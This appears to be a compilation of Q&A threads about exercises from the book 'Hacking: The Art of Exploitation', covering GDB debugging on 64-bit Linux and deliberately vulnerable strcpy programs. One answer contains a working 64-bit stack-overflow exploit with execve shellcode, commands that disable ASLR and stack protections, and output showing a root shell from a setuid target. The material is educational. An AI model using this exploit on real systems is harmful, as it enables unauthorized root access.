Stack-Based Buffer Overflow Vulnerabilities - c

I am reading a book titled Hacking: The Art of Exploitation, and I have a problem with the section Stack-Based Buffer Overflow Vulnerabilities.
I am following the instructions given by the author, but I don't get the expected results.
First, here is the program auth_overflow2.c, copied from the book:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
char password_buffer[16];
int auth_flag = 0;
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nAccess Denied.\n");
}
}
This is a copy of my Ubuntu terminal:
(gdb) break 19
Breakpoint 1 at 0x40077b: file auth_overflow.c, line 19.
(gdb) break 7
Breakpoint 2 at 0x4006df: file auth_overflow.c, line 7.
(gdb) break 12
Breakpoint 3 at 0x40072a: file auth_overflow.c, line 12.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/test/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, main (argc=2, argv=0x7fffffffdf08) at auth_overflow.c:19
19 if(check_authentication(argv[1])) {
(gdb) i r esp
esp 0xffffde10 -8688
(gdb) x/32xw $esp
0xffffffffffffde10: Cannot access memory at address 0xffffffffffffde10
(gdb) c
Continuing.
Breakpoint 2, check_authentication (password=0x7fffffffe2cc 'A' <repeats 30 times>) at auth_overflow.c:7
7 strcpy(password_buffer, password);
(gdb) i r esp
esp 0xffffddc0 -8768
(gdb) x/32xw $esp
0xffffffffffffddc0: Cannot access memory at address 0xffffffffffffddc0
(gdb) p 0xffffde10 - 0xffffddc0
$1 = 80
(gdb) x/s password_buffer
0x7fffffffdde0: "\001"
(gdb) x/x &auth_flag
0x7fffffffdddc: 0x00
(gdb)
When i try x/32xw $esp i get:
0xffffffffffffde10: cannot access memory at address 0xffffffffffffde10
Same thing happens when i continue to the second break point.
When author types x/s password_buffer the output is:
0xbffff7c0: "?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\bH???????\002"
but my output looks like this:
0x7fffffffdde0: "\001"
My i r esp result is also different from the book.
in the book there are two hexadecimal numbers:
esp 0xbffff7e0 0xbffff7e0
I am using Ubuntu and GCC and GDB.

I think I might have the answer - your argv[ 1 ] is pointing to the 30 'A's - and you have a password buffer of 16. The strcpy() will just fill the buffer and beyond.
I would increase the buffer size to a larger size (say 255 bytes).
In practise, you should review your code, even examples, and make them more robust (example: allowing for larger passwords then 16 )

Please less the number of As try A(17) times it will work

Related

Buffer overflow flows backwards?

Im reading the book "Hacking: The Art of Exploitation" and I came across a part of the book where it shows a supposed protection against buffer overflow vulnerabilities by rearranging variables in memory. I tried this and the program is still vulnerable to buffer overflows. Here is the code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
//*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
char password_buffer[16];
int auth_flag = 0;
//*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
strcpy(password_buffer, password);
if (strcmp(password_buffer, "password1") == 0)
auth_flag = 1;
if (strcmp(password_buffer, "password2") == 0)
auth_flag = 0;
return auth_flag;
}
int main(int argc, char *argv[]) {
if (check_authentication(argv[1])) {
printf("ACCESS GRANTED");
} else {
printf("ACCESS DENIED");
}
}
This program, in short, checks an authentication key provided by the second command line argument and tells the user whether or not access was granted. The main point of focus is on the variables outlined by the comments with the asterisks. Theoredically, this arrangement of variables should prevent a buffer overflow attack as a result of the FILO data structure, meaning the password buffer should be located AFTER the auth_flag variable and therefore should prevent the password buffer from being an execution point for a buffer overflow. Here is an examination of the execution flow in GDB:
(gdb) break 9
Breakpoint 1 at 0x1188: file auth_overflow2.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x11d7: file auth_overflow2.c, line 16.
The first step in examining the program is to set breakpoints at line 9 (where the strcpy function is executed, before password authentication) and at line 16 (where the auth_flag is returned and the password authentication has then occurred). Then, we can run the program and examine the memory at breakpoint 1.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/user/Hacking/a.out aaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, check_authentication (password=0x7fffffffe484 'a' <repeats 29 times>) at auth_overflow2.c:9
9 strcpy(password_buffer, password);
(gdb) x/s password_buffer
0x7fffffffe060: ""
(gdb) x/x &auth_flag
0x7fffffffe07c: 0x00
(gdb)x/16xw &auth_flag
0x7fffffffe07c: 0x00000000 0xffffe0a0 0x00007fff 0x55555229
0x7fffffffe08c: 0x00005555 0xffffe188 0x00007fff 0x00000000
0x7fffffffe09c: 0x00000002 0x55555270 0x00005555 0xf7e0609b
0x7fffffffe0ac: 0x00007fff 0x00000000 0x00000000 0xffffe188
As we can see from the output above, the auth_flag is at a proper 0 and the password buffer is empty. The last command in the output above also demonstrates that the auth_flag variable is properly located BEFORE the password buffer, so in theory a buffer overflow shouldn't effect the auth_flag variable in any way. Now lets continue the program and examine the memory after the authentication check.
(gdb) cont
Continuing.
Breakpoint 2, check_authentication (password=0x7fffffffe484 'a' <repeats 29 times>) at auth_overflow2.c:16
16 return auth_flag;
(gdb) x/s password_buffer
0x7fffffffe060: 'a' <repeats 29 times>
(gdb) x/x &auth_flag
0x7fffffffe07c: 0x61
(gdb) x/16xw &auth_flag
0x7fffffffe07c: 0x00000061 0xffffe0a0 0x00007fff 0x55555229
0x7fffffffe08c: 0x00005555 0xffffe188 0x00007fff 0x00000000
0x7fffffffe09c: 0x00000002 0x55555270 0x00005555 0xf7e0609b
0x7fffffffe0ac: 0x00007fff 0x00000000 0x00000000 0xffffe188
As you can see from the output above, the auth_flag variable was somehow changed to a non-zero value even though the password buffer is located after the auth_flag variable.
So, with all of this information in mind, how is it possible that a buffer overflow flows BACKWARD in memory instead of forward?
Some compilers rearrange on-stack arrays so that they are not adjacent to the return address if there are other variables or spill slots in the stack frame, in the hope that limited overflows of a few bytes will no longer be able to reach the return address and thus redirect execution. If these variables are equally critical for security as the return address, this heuristics goes wrong, and in your hypothetical example, this appears to be the case.

Cant access a specific memory address. on C program

I am working on the book "HACKING Art Of Exploitation " exercise Convert2.c page 61.
Here's my code. Below is my question.
#include <stdio.h>
void usage(char *program_name) {
printf("Usage: %s <message> <# of times to repeat>\n", program_name);
exit(1);
}
int main(int argc, char *argv[]) {
int i, count;
// if(argc < 3) //if fewer than 3 arguments is used
// usage(argv[0]); // display usage message and exit
count = atoi(argv[2]); //convert the second arg into an interger
printf("Repeating %d times\n", count);
for(i=0; i < count; i++)
printf("%3d - %s\n", i, argv[1]); // print the first arg
}
GDB OUTPUT...
➜ git:(master) ✗ 👽 gdb -q a.out
Reading symbols from a.out...done.
(gdb) run test
Starting program: /home/fruitdealer/clones/C_zombie/hacking/a.out test
Program received signal SIGSEGV, Segmentation fault.
__GI_____strtol_l_internal (nptr=0x0, endptr=endptr#entry=0x0, base=base#entry=10, group=group#entry=0,
loc=0x7ffff7dd0560 <_nl_global_locale>) at ../stdlib/strtol_l.c:292
292 ../stdlib/strtol_l.c: No such file or directory.
(gdb) break main
Breakpoint 1 at 0x555555554707: file convert.c, line 14.
(gdb) where
#0 __GI_____strtol_l_internal (nptr=0x0, endptr=endptr#entry=0x0, base=base#entry=10, group=group#entry=0,
loc=0x7ffff7dd0560 <_nl_global_locale>) at ../stdlib/strtol_l.c:292
#1 0x00007ffff7a29122 in __strtol (nptr=<optimized out>, endptr=endptr#entry=0x0, base=base#entry=10)
at ../stdlib/strtol.c:106
#2 0x00007ffff7a24690 in atoi (nptr=<optimized out>) at atoi.c:27
#3 0x000055555555471f in main (argc=2, argv=0x7fffffffdeb8) at convert.c:14
(gdb) run test
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/fruitdealer/clones/C_zombie/hacking/a.out test
Breakpoint 1, main (argc=2, argv=0x7fffffffdeb8) at convert.c:14
14 count = atoi(argv[2]); //convert the second arg into an interger
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
__GI_____strtol_l_internal (nptr=0x0, endptr=endptr#entry=0x0, base=base#entry=10, group=group#entry=0,
loc=0x7ffff7dd0560 <_nl_global_locale>) at ../stdlib/strtol_l.c:292
292 ../stdlib/strtol_l.c: No such file or directory.
(gdb) x/3xw 0x7fffffffdeb8
0x7fffffffdeb8: 0xffffe220 0x00007fff 0xffffe250
(gdb) x/s 0xffffe220
0xffffe220: <error: Cannot access memory at address 0xffffe220>
(gdb) x/s 0xffffe250
0xffffe250: <error: Cannot access memory at address 0xffffe250>
(gdb) x/sw 0xffffe250
0xffffe250: <error: Cannot access memory at address 0xffffe250>
(gdb)
I posted all of gdb output because i wasn't sure how much of it you would need. My problem lies at the bottom of my GDB output when i run "x/s" on gdb and get the <error: Cannot access memory at address 0xffffe250> error.
On the book Jon Erickson is able to access 0xffffe220 and 0x00007fff and then he has an error on 0xffffe250 this part of memory.
What am i missing?
Why can't i access any of the three addresses in 0x7fffffffdeb8?
The first half of the address is cut off. If you notice, it takes 8 bytes to store the addresses because you are on a 64 bit machine, not 32. You are trying to access a truncated address.
Rather than three addresses at 0x7fffffffdeb8, you are looking at one and a half. Try accessing a byte that starts with 0x00007fff...

GDB doesn't let me read argv memory segment

I have this simple script written in C:
#include <stdio.h>
void usage(char *program_name) {
printf("Usage: %s <message> <# of times to repeat>\n", program_name);
exit(1);
}
int main(int argc, char *argv[]) {
int i, count;
// if(argc < 3) // If less than 3 arguments are used,
// usage(argv[0]); // display usage message and exit.
count = atoi(argv[2]); // convert the 2nd arg into an integer
printf("Repeating %d times..\n", count);
for(i=0; i < count; i++)
printf("%3d - %s\n", i, argv[1]); // print the 1st arg
}
And I'm making some test with GDB.
I did this:
(gdb) run test
Starting program: /home/user/Desktop/booksrc/convert2 test
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a56e56 in ____strtoll_l_internal () from /usr/lib/libc.so.6
Obviusly it goes in segmentation fault because to work the program needs three argv. And I commented the lines that do the control. So it goes in error.
(gdb) where
#0 0x00007ffff7a56e56 in ____strtoll_l_internal () from /usr/lib/libc.so.6
#1 0x00007ffff7a53a80 in atoi () from /usr/lib/libc.so.6
#2 0x00005555555546ea in main (argc=2, argv=0x7fffffffe958) at convert2.c:14
(gdb) break main
Breakpoint 1 at 0x5555555546d2: file convert2.c, line 14.
(gdb) run test
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Desktop/booksrc/convert2 test
Breakpoint 1, main (argc=2, argv=0x7fffffffe958) at convert2.c:14
14 count = atoi(argv[2]); // convert the 2nd arg into an integer
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a56e56 in ____strtoll_l_internal () from /usr/lib/libc.so.6
(gdb) x/3xw 0x7fffffffe958 // this is memory of the "argv" some line before
0x7fffffffe958: 0xffffebfe 0x00007fff 0xffffec22
(gdb) x/s 0xffffebfe
0xffffebfe: <error: Cannot access memory at address 0xffffebfe>
(gdb) x/s 0x00007fff
0x7fff: <error: Cannot access memory at address 0x7fff>
(gdb) x/s 0xffffec22
0xffffec22: <error: Cannot access memory at address 0xffffec22>
In theory, with "x/s" I should have seen the commandline in the first address and "test" in the second address and the null in the third. But nothing. If I copy paste that address to a ascii to string converter, it gives me data without any sense. What am I doing wrong?
Your platform uses 64bit pointers, so try :
(gdb) x/3xg 0x7fffffffe958
to display the 64bit pointers in the argv array, and then :
(gdb) x/s 0x00007fffffffebfe
or just :
(gdb) p argv[0]
First of all always check if the command line is correct
Uncomment the check from your code.
Then in the gdb set the arguments (before running it)
(gdb) set args "hello world" 12

Buffer overflow in 64 bit with strcpy

I'm basically trying to run a buffer overflow attack. Based on what I understand we need 3 parts:
A nope sled
Shell Code to execute
Return address
The problem I'm having is in 64 bit linux the return address is something like 0x00007fffffffdcf2. In Strcpy if a null character is seen then it will stop copying. So basically in the end I endup with something like this:
0x7fffffffe233: 0x9090909090909090 0x9090909090909090
0x7fffffffe243: 0x9090909090909090 0x9090909090909090
0x7fffffffe253: 0x9090909090909090 0x9090909090909090
0x7fffffffe263: 0x9090909090909090 0x9090909090909090
0x7fffffffe273: 0xb099c931db31c031 0x6851580b6a80cda4
0x7fffffffe283: 0x69622f6868732f2f 0x8953e28951e3896e
0x7fffffffe293: 0x909090909080cde1 0x43007fffffffdcf2 <<< This line
If you look at the last 8 bytes instead of
0x00007fffffffdcf2
we have
0x43007fffffffdcf2
I'm assuming the 43 is just garbage data at the start. So basically is there any way to overcome this or does buffer over flow attacks not work on 64 bit systems for the strcpy function?
This is my code (based off the book the art of exploitation):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80\x90\x90\x90\x90\x90";
int main(int argc, char *argv[]) {
uint64_t i;
uint64_t ret;
uint64_t offset=270;
char *command, *buffer, *test;
command = (char *) malloc(200);
test = (char *)malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = ((uint64_t)(&i)- offset); // set return address
for(i=0; i < 200; i+=8) // fill buffer with return address
memcpy((uint64_t *)((uint64_t)buffer+i), &ret, 8);
memset(buffer, 0x90, 64); // build NOP sled
memcpy(buffer+64, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
}
Any help will be greatly appreciated.
I was able to modify your sample code to get it to work in 64-bit with the notesearch program from the book.
Many of the protections in modern OSes and build tools must be turned off for this to work, but it is obviously for educational purposes, so that's reasonable for now.
First, turn off ASLR on your system with:
echo 0 > /proc/sys/kernel/randomize_va_space
This must be done as root, and it won't work with sudo, since the sudo will only apply to the echo command, not the redirection. Just sudo -i first, then run it.
Next, the notesearch program must be compiled with two important safety protections disabled. By default, your program would be built with stack canaries for the detection of buffer overflows and also a non-executable stack, since there's usually no legitimate reason to run code from the stack.
gcc -g -z execstack -fno-stack-protector -o notesearch notesearch.c
Now, the exploit code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
"\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x7fffffffe1c0;
memcpy(buffer, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
}
This problem can be narrowed down to a simple return address overwrite, so no NOP sled is required. Additionally, the shellcode from your original post was for 32-bit only. The 64-bit shellcode I used is from http://shell-storm.org/shellcode/files/shellcode-806.php.
The big question: Where did 0x78 and 0x7fffffffe1c0 come from? I started out with a number larger than 0x78 since I didn't know what to use. I just guessed 175 since it's bigger than the target buffer. So the first iteration had these lines:
memset(buffer, 'A', 175); // Overflow buffer
//*(unsigned long long*)(buffer+???) = ???;
Now to try that out. Note that, while testing, I used a non-setuid version of notesearch to facilitate successful core dumps.
ulimit -c unlimited
gcc myexp.c
./a.out
The notesearch program crashed and created a core file:
deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault (core dumped)
deb82:~/notesearch$
Running gdb ./notesearch core shows:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe2c8) at notesearch.c:35
35 }
(gdb)
Good. It crashed. Why?
(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq
(gdb) x/1gx $rsp
0x7fffffffe1e8: 0x4141414141414141
(gdb)
It's trying to return to our controlled address (all A's). Good. What offset from our controlled string (searchstring) points to the return address?
(gdb) p/x (unsigned long long)$rsp - (unsigned long long)searchstring
$1 = 0x78
(gdb)
So now we try again, with these changes:
memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x4242424242424242;
Again, we get a core dump. Analyzing it shows:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe318) at notesearch.c:35
35 }
(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq
(gdb) x/1gx $rsp
0x7fffffffe238: 0x4242424242424242
(gdb)
Good, we controlled the return address more surgically. Now, what do we want to put there instead of a bunch of B's? Search a reasonable range of stack for our shellcode (0xbb48c031 is a DWORD corresponding to the first 4 bytes in the shellcode buffer). Just mask off the lower 3 digits and start at the beginning of the page.
(gdb) find /w 0x7fffffffe000,$rsp,0xbb48c031
0x7fffffffe1c0
1 pattern found.
(gdb)
So our shellcode exists on the stack at 0x7fffffffe1c0. This is our desired return address. Updating the code with this information, and making notesearch setuid root again, we get:
deb82:~/notesearch$ whoami
user
deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
# whoami
root
#
The code I provided may work as is on your setup, but most likely, you'll probably need to follow a similar path to get the correct offsets to use.

why does snprintf() write extra characters?

In my program, I open a file and write "Hello world" in it. I am using snprintf() to populate 'fname' variable. After this I put gdb on a.out and print the string 'fname'. I see that there are lots of extra character in string 'fname' which I did not assign. Where are these extra characters coming from? Could anyone help please?
3 int main(void)
4 {
5 FILE *debug_fp = NULL;
6 char fname[100];
7
8 snprintf(fname, 100, "./my_debug_%d", getpid());
9 debug_fp = fopen(fname, "w");
10 fprintf(debug_fp, "%s", "Hello world");
11 return 0;
12 }
gdb output:
(gdb) b test.c:10
Breakpoint 1 at 0x4005be: file test.c, line 10.
Breakpoint 1, main () at test.c:10
10 fprintf(debug_fp, "%s", "Hello world");
(gdb) p fname
$1 = "./my_debug_16178\000\000\000\000\000\000\000\000\300\313Ab:\000\000\000\360\005#\000\000\000\000\000\063\004#\000\000\000\000\000\001\000\000\000\000\000\301\000'\006#", '\000' <repeats 13 times>"\300, \313Ab:\000\000\000\360\005#", '\000' <repeats 13 times>"\260, \343\377\377"
(gdb) q
Thank you.
In this case gdb doesn't care about your 0-terminator in the string and just prints the array, i.e. the full 100 characters in fname.
You can also use printf "%s" or p /s if you want gdb to treat your array as a C-string.
As your question is about seeing a lot of extra characters that you didnt assign, it is always the best practice to initialize the memory (simple variables, arrays or pointers) you define, so that you always see what you expect.
In your case, you could do:
char fname[100] = {0};
The response I get from gdb is more predictable thus:
(gdb) b 9
Breakpoint 1 at 0x400610: file st_fname.c, line 9.
(gdb) run
Starting program: /home/gops/data/samples/st_fname.o
Breakpoint 1, main () at st_fname.c:9
9 fprintf(debug_fp, "%s", "Hello world");
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.166.el6_7.7.x86_64
(gdb) p fname
$1 = "./my_debug_26808", '\000' <repeats 83 times>
(gdb)
Now you should see what you expect. Hope it helps.

Resources